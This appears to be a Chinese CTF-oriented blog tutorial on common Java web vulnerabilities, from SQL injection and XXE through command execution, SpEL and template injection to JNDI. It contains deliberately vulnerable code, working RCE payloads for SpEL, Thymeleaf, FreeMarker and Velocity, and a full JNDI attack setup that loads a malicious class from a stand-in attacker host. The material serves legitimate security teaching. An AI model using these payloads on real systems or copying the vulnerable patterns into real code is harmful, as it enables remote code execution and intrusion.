CTF javaweb中幾大常見漏洞(基于java-security靶場)
對于CTF而言,java類型的題目基本都是白盒代碼審計,在java類型的web題目增長的今天,java代碼審計能力在ctf比賽中尤為重要。
這篇博客主要是給大家介紹一下一些常見漏洞在java代碼里面大概是怎么產生的,而不去討論漏洞具體的利用技巧。
一、SQL注入
什么是JDBC?
JDBC(Java Database Connectivity) 是 Java 提供的用于連接和操作數據庫的標準 API(應用程序接口)。
JDBC中幾個常見的造成sql注入的語法
1.statement字符串拼接
public String vul1(String id) {Class.forName("com.mysql.cj.jdbc.Driver");Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);Statement stmt = conn.createStatement();String sql = "select * from users where id = '" + id + "'";ResultSet rs = stmt.executeQuery(sql);
}
2.PrepareStatement會對SQL語句進行預編譯,但如果直接采取拼接的方式構造SQL,此時進行預編譯也無用
public String vul2(String id) {Class.forName("com.mysql.cj.jdbc.Driver");Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);String sql = "select * from users where id = " + id;PreparedStatement st = conn.prepareStatement(sql);ResultSet rs = st.executeQuery();
}
正確的語法應該是
String sql = "select * from users where id = ?";PreparedStatement st = conn.prepareStatement(sql);st.setString(1, id);
用這種方法即可讓輸入的id的特殊符號自動轉義
3.使用jdbctemplate但還是直接拼接
public Map<String, Object> vul3(String id) {DriverManagerDataSource dataSource = new DriverManagerDataSource();dataSource.setDriverClassName("com.mysql.cj.jdbc.Driver");dataSource.setUrl(db_url);dataSource.setUsername(db_user);dataSource.setPassword(db_pass);JdbcTemplate jdbctemplate = new JdbcTemplate(dataSource);String sql = "select * from users where id = " + id;// 安全代碼:使用參數化查詢,避免SQL注入風險// String sql = "select * from users where id = ?";return jdbctemplate.queryForMap(sql);
}
基本jdbc sql注入所有的來源都是直接拼接,一般來說用一些轉義的庫或者正則過濾都可以避免
MyBatis的sql注入
MyBatis是一種輕量化的框架,可以用于和數據庫連接,他也存在一些漏洞。
${}
@GetMapping("/vul/order") //Controller層,獲取客戶端的參數,傳遞給userMapper的orderBy,分別在下面有定義
public List<User> orderBy(String field, String sort) {return userMapper.orderBy(field, sort);
}// 不安全的注解寫法
public interface UserMapper {@Select("select * from users order by ${field} ${sort}")List<User> orderBy(@Param("field") String field, @Param("sort") String sort);
}// 不安全的XML映射寫法 , 通過xml的格式來定義
<select id="orderBy" resultType="com.best.hello.entity.User">select * from users order by ${field} ${sort}
</select>
這里${}的傳參格式直接拼接sql造成注入漏洞
二、文件上傳漏洞
java的文件上傳和傳統的文件上傳基本都是一類漏洞,無非就是前端校驗,修改擴展名,content-type之類的東西,其次還有像目錄遍歷這樣的漏洞,就不單獨說明了,給大家看看java文件上傳的函數大概是怎么寫的就行.
文件上傳:
@PostMapping("/uploadVul")
public String uploadVul(@RequestParam("file") MultipartFile file) {try {byte[] bytes = file.getBytes();Path dir = Paths.get(UPLOADED_FOLDER);Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());Files.write(path, bytes);} catch (Exception e) {return e.toString();}return "redirect:uploadStatus";
}
目錄遍歷:
public String fileList(String filename) {String filePath = System.getProperty("user.dir") + "/logs/" + filename; //直接拼接,可以上傳類似../..的文件名StringBuilder sb = new StringBuilder();File f = new File(filePath);File[] fs = f.listFiles();if (fs != null) {for (File ff : fs) {sb.append(ff.getName()).append("<br>");}return sb.toString();}return filePath + "目錄不存在!";
}
三、XSS
造成反射型xss漏洞最基本的代碼:
@GetMapping("/reflect")
public static String input(String content) {return content; //直接return
}
儲存型:
@PostMapping("/save")
public String save(HttpServletRequest request) {String content = request.getParameter("content");xssMapper.add(content); //xss.Mapper未過濾直接存return "success";}
注入的方法也和傳統xss一樣,主要看你注入的js語句效果如何
四、SSRF
java里面發送任意請求的代碼是怎么寫的呢?
public static String URLConnection(String url) {try {URL u = new URL(url); //用URL類URLConnection conn = u.openConnection(); //通過 URLConnection 建立到指定URL的連接。BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));String content;StringBuffer html = new StringBuffer();while ((content = reader.readLine()) != null) {html.append(content);}reader.close();return html.toString();} catch (Exception e) {return e.getMessage();}
}
他的漏洞利用方式也和普通SSRF漏洞差不多,各種繞過黑名單的方法都能拿來用
五、XML
java中有很多xml解釋類,這里也主要給大家介紹一下這些類,不去講xml的語法,過濾方法也主要靠黑名單過濾
1.XMLReader
String XMLReader(@RequestBody String content) {try {XMLReader xmlReader = XMLReaderFactory.createXMLReader(); //xml解釋器// 修復:禁用外部實體解析// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);xmlReader.parse(new InputSource(new StringReader(content))); //開始解析return "XMLReader XXE";} catch (Exception e) {return e.toString();}
}
2.DocumentBuilder
@RequestMapping(value = "/DocumentBuilder")
public String DocumentBuilder(@RequestParam String content) {DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); //xml解釋器// 修復: 禁用外部實體// factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);DocumentBuilder builder = factory.newDocumentBuilder(); //開始解析,自動獲取content參數
}
3.SAXReader
@RequestMapping(value = "/SAXReader")
public String SAXReader(@RequestParam String content) {try {SAXReader sax = new SAXReader(); //解釋器// 修復:禁用外部實體// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);sax.read(new InputSource(new StringReader(content))); //解析return "SAXReader XXE";} catch (Exception e) {return e.toString();}
}
4.Unmarshaller
public String Unmarshaller(@RequestBody String content) {try {JAXBContext context = JAXBContext.newInstance(Student.class);Unmarshaller unmarshaller = context.createUnmarshaller(); //xml解釋器XMLInputFactory xif = XMLInputFactory.newFactory();// 修復: 禁用外部實體// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content)); //裝載xmlObject o = unmarshaller.unmarshal(xsr); //解析xmlreturn o.toString(); //字符串返回
} catch (Exception e) {e.printStackTrace();
}
5.SAXBuilder
@RequestMapping(value = "/SAXBuilder")
public String SAXBuilder(@RequestBody String content) {try {SAXBuilder saxbuilder = new SAXBuilder(); //解釋器// 修復:禁用外部實體// saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);saxbuilder.build(new InputSource(new StringReader(content))); //解析return "SAXBuilder XXE";} catch (Exception e) {return e.toString();}
}
六、java rce
ProcessBuilder方式
觸發代碼:
// new ProcessBuilder(command).start()
// 功能是利用ProcessBuilder執行ls命令查看文件,但攻擊者通過拼接; & |等連接符來執行自己的命令。public static String processbuilderVul(String filepath) throws IOException {String[] cmdList = {"sh", "-c", "ls -l " + filepath}; //命令拼接輸入的filepath,例如輸入/tmp;whoami即可拼接命令ProcessBuilder pb = new ProcessBuilder(cmdList); //創建進程pb.redirectErrorStream(true);Process process = pb.start(); //啟動進程// 獲取命令的輸出InputStream inputStream = process.getInputStream(); //獲取命令的標準輸出流BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); //逐行讀取輸出內容String line;StringBuilder output = new StringBuilder();while ((line = reader.readLine()) != null) {output.append(line).append("\n");} //拼接所有輸出行,最終返回給調用者return output.toString();
}
這里主要是介紹ProcessBuilder觸發rce的一個情景,這里是調用sh解析的就不多介紹相關命令了。
Runtime方式
// Runtime.getRuntime().exec(cmd)public static String vul(String cmd) {StringBuilder sb = new StringBuilder();try {Process proc = Runtime.getRuntime().exec(cmd);InputStream fis = proc.getInputStream();InputStreamReader isr = new InputStreamReader(fis);BufferedReader br = new BufferedReader(isr);...
這里Runtime.getRuntime().exec執行命令調用是系統默認的shell
Processlmpl
// ProcessImpl 是更為底層的實現,Runtime和ProcessBuilder執行命令實際上也是調用了ProcessImpl這個類
// ProcessImpl 類是一個抽象類不能直接調用,但可以通過反射來間接調用ProcessImpl來達到執行命令的目的public static String vul(String cmd) throws Exception {// 首先,使用 Class.forName 方法來獲取 ProcessImpl 類的類對象Class clazz = Class.forName("java.lang.ProcessImpl");// 然后,使用 clazz.getDeclaredMethod 方法來獲取 ProcessImpl 類的 start 方法Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);// 使用 method.setAccessible 方法將 start 方法設為可訪問method.setAccessible(true);// 最后,使用 method.invoke 方法來調用 start 方法,并傳入參數 cmd,執行命令Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}
腳本引擎代碼注入
// 通過加載遠程js文件來執行代碼,如果加載了惡意js則會造成任意命令執行
// 遠程惡意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
// ?? 在Java 8之后移除了ScriptEngineManager的evalpublic void jsEngine(String url) throws Exception { //url就是腳本地址ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String payload = String.format("load('%s')", url);engine.eval(payload, bindings);
}
groovy
import groovy.lang.GroovyShell;
@GetMapping("/groovy")
public void groovy(String cmd) {GroovyShell shell = new GroovyShell();shell.evaluate(cmd);
}
可以理解為一種基于java的語言。
七、java反序列化漏洞
java反序列化和php、python等還是有很大區別的,涉及到的內容較多,也是java中最有特色也最難利用的一類漏洞了,之后我會單獨出一個博客來講解
八、SpEL(Spring Expression Language)表達式注入
在spring框架的web項目可能會出現的漏洞,主要靠SpelExpressionParser這個類
/*** 產生原因:默認的StandardEvaluationContext權限過大,用戶輸入的表達式被直接解析和執行* PoC: T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)*/
public String vul(String ex) {ExpressionParser parser = new SpelExpressionParser();EvaluationContext evaluationContext = new StandardEvaluationContext();Expression exp = parser.parseExpression(ex);String result = exp.getValue(evaluationContext).toString();return result;
}
需要spel語法注入,上方有命令執行的poc
九、模板注入
通過這里我們也來認識一下java通用的模板引擎有哪些
Thymeleaf 模板
/*** 1.模板文件參數可控,造成模板注入漏洞(選擇模板)*/
@GetMapping("/thymeleaf/vul")
public String thymeleafVul(@RequestParam String lang) {return "lang/" + lang;
}
//lang=__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x/*** 2.模板片段參數可控,造成模板注入漏洞(片段選擇器)*/
@GetMapping("/thymeleaf/fragment/vul")
public String fragmentVul(@RequestParam String section) {return "lang/en :: " + section;
}
//section=${T(java.lang.Runtime).getRuntime().exec("calc")
/*** 3.當 Spring MVC 的 @GetMapping 方法沒有返回值(void)時,Spring 會默認將請求的 URL 路徑作為視圖名稱(View Name),交給模板引擎(如 Thymeleaf)解析。* 在這種情況下,我們只要可以控制請求的controller的參數,一樣可以造成RCE漏洞* payload: __${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x
*/@GetMapping("/doc/{document}")public void getDocument(@PathVariable String document) {System.out.println(document);}
//poc:http://.../doc/__$%7BT(java.lang.Runtime).getRuntime().exec('whoami')%7D__::.x
FreeMarker 模板注入
/*** 模板文件內容可控,造成模板注入漏洞* payload: <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator") }*/
@GetMapping("/freemarker/vul")
public String freemarkerVul(@RequestParam String file, @RequestParam String content, Model model, HttpServletRequest request) {String resourcePath = "templates/freemarker/" + file;try (InputStream is = getClass().getClassLoader().getResourceAsStream(resourcePath)) {...}stringTemplateLoader.putTemplate(file, content); //stringTemplateLoader.putTemplate將用戶輸入的 content 動態加載為 FreeMarker 模板。content里的內容可以被命令執行conf.setTemplateUpdateDelayMilliseconds(0);conf.setLogTemplateExceptions(false);return file.replace(".ftl", "");
}
// poc:?file=indexxx.ftl&content=<%23assign%20ex%3d"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29>%20%24%7b%20ex%28"whoami"%29%20%7d
Velocity 模板注入(evaluate場景)
/*** evaluate() 方法用于解析字符串模板,而不是從 .vm 文件中獲取模板內容。* 將用戶傳入的參數拼接到字符串模板中使用evaluate進行解析,造成RCE* 漏洞影響范圍: velocity <= 2.2* 修復方式: 更新至 2.3 以上版本* payload: #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")*/
@GetMapping("/velocity/evaluate/vul")
@ResponseBody
public String velocityEvaluateVul(@RequestParam(defaultValue = "Hello-Java-Sec") String username) {String templateString = "Hello, " + username + " | phone: $phone, email: $email"; //拼接處Velocity.init();VelocityContext ctx = new VelocityContext();ctx.put("phone", "012345678");ctx.put("email", "xxx@xxx.com");StringWriter out = new StringWriter();Velocity.evaluate(ctx, out, "test", templateString); //關鍵觸發函數Velocity.evaluatereturn out.toString();}
Velocity注入(merge場景)
/*** merge() 方法用于將模板字符串與上下文數據合并并生成結果* 示例代碼中通過讀取 merge.vm 的內容,將模板內容中的<USERNAME>替換為前端傳入的username參數,最后通過merge方法進行合并,造成RCE* 漏洞影響范圍: velocity <= 2.2* 修復方式: 更新至 2.3 以上版本* payload: #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
*/
@GetMapping("/velocity/merge/vul")
@ResponseBody
public String velocityMergeVul(@RequestParam(defaultValue = "x1ong") String username) throws IOException, ParseException {// 讀取 velocity 模板文件BufferedReader bufferedReader = new BufferedReader(new FileReader(String.valueOf(Paths.get(this.getClass().getClassLoader().getResource("templates/velocity/merge.vm").toString().replace("file:", "")))));StringBuilder stringBuilder = new StringBuilder();//merge.vm就是模板文件// 將模板文件讀取到字符串String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line);}String templateString = stringBuilder.toString();// 替換模板中的 <USERNAME> 變量,存在注入風險templateString = templateString.replace("<USERNAME>", username);// 創建 Velocity 解析器StringReader reader = new StringReader(templateString);VelocityContext ctx = new VelocityContext();ctx.put("name", "x1ong");ctx.put("phone", "012345678");ctx.put("email", "xxx@xxx.com");// 解析并執行 Velocity 模板StringWriter out = new StringWriter();org.apache.velocity.Template template = new org.apache.velocity.Template();RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();SimpleNode node = runtimeServices.parse(reader, String.valueOf(template)); template.setRuntimeServices(runtimeServices);template.setData(node);template.initDocument();template.merge(ctx, out); //合并解析return out.toString();}
十、jndi注入
java運行遠程加載類,而不局限于本地或者庫里面的類,因此就會有遠程惡意類的出現
/*** 產生原因:當lookup()方法的參數可控時,攻擊者便能提供一個惡意的url地址來加載惡意類。*/
public void vul(String content) {try {Context ctx = new InitialContext(); //創建一個 JNDI 初始上下文(Initial Context),相當于連接到一個命名服務(如 LDAP、RMI、DNS、本地文件系統等)。ctx.lookup(content); //根據傳入的 content(名稱/路徑)查找并返回綁定的對象} catch (Exception e) {log.warn("JNDI錯誤消息");}
}
這里的content我們可控,因此我們可以加載一些本地或者遠程的惡意類
poc:rmi://127.0.0.1:1099/Exp
具體攻擊流程:
(1)編寫惡意類 Exploit.java
// Exploit.java - 彈計算器(Windows)或執行任意命令
public class Exploit {static {try {Runtime.getRuntime().exec("calc.exe");// Linux/Mac替換為:Runtime.getRuntime().exec("/bin/bash -c 'touch /tmp/pwned'");} catch (Exception e) {e.printStackTrace();}}
}
編譯為 .class 文件:
javac Exploit.java(2)啟動 HTTP 服務器托管 Exploit.class
# 使用Python快速啟動HTTP服務(端口8000)
python3 -m http.server 8000
確保 Exploit.class 可通過 http://your-ip:8000/Exploit.class 訪問。(3)啟動惡意 RMI 服務器
// RMIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);// 指向HTTP服務器上的Exploit.classReference ref = new Reference("Exploit", "Exploit", "http://your-ip:8000/");registry.bind("Exploit", new ReferenceWrapper(ref));System.out.println("RMI Server running on 0.0.0.0:1099");}
}
編譯并運行:
javac RMIServer.java
java RMIServer
十一、組件注入
也單獨開一個博客去講
后續如果我遇到好的靶場題目也會繼續補充博客